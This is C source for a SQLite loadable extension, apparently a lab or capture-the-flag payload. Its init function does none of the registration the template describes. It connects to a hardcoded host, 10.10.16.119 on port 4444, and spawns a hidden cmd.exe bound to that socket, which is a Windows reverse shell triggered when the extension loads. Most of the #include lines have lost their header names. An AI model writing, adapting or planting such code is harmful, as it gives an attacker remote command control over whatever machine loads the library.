/* Add your header comment here */ //#include /* Do not use ! */ #include "sqlite3ext.h" #include #include #include #include #include #include #include #include #if !defined(CLIENT_IP) || !defined(CLIENT_PORT) # define CLIENT_IP (char*)"10.10.16.119" # define CLIENT_PORT (int)4444 #endif SQLITE_EXTENSION_INIT1 /* Insert your extension code here */ #ifdef _WIN32 __declspec(dllexport) #endif /* TODO: Change the entry point name so that "extension" is replaced by ** text derived from the shared library filename as follows: Copy every ** ASCII alphabetic character from the filename after the last "/" through ** the next following ".", converting each character to lowercase, and ** discarding the first three characters if they are "lib". */ int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); /* Insert here calls to ** sqlite3_create_function_v2(), ** sqlite3_create_collation_v2(), ** sqlite3_create_module_v2(), and/or ** sqlite3_vfs_register() ** to register the new features that your extension adds. */ if (strcmp(CLIENT_IP, "0.0.0.0") == 0 || CLIENT_PORT == 0) { write(2, "[ERROR] CLIENT_IP and/or CLIENT_PORT not defined.\n", 50); return (1); } WSADATA wsaData; if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) { write(2, "[ERROR] WSASturtup failed.\n", 27); return (1); } int port = CLIENT_PORT; struct sockaddr_in sa; SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr.s_addr = inet_addr(CLIENT_IP); #ifdef WAIT_FOR_CLIENT while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { Sleep(5000); } #else if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { write(2, "[ERROR] connect failed.\n", 24); return (1); } #endif STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES); sinfo.hStdInput = (HANDLE)sockt; sinfo.hStdOutput = (HANDLE)sockt; sinfo.hStdError = (HANDLE)sockt; PROCESS_INFORMATION pinfo; CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo); return rc; }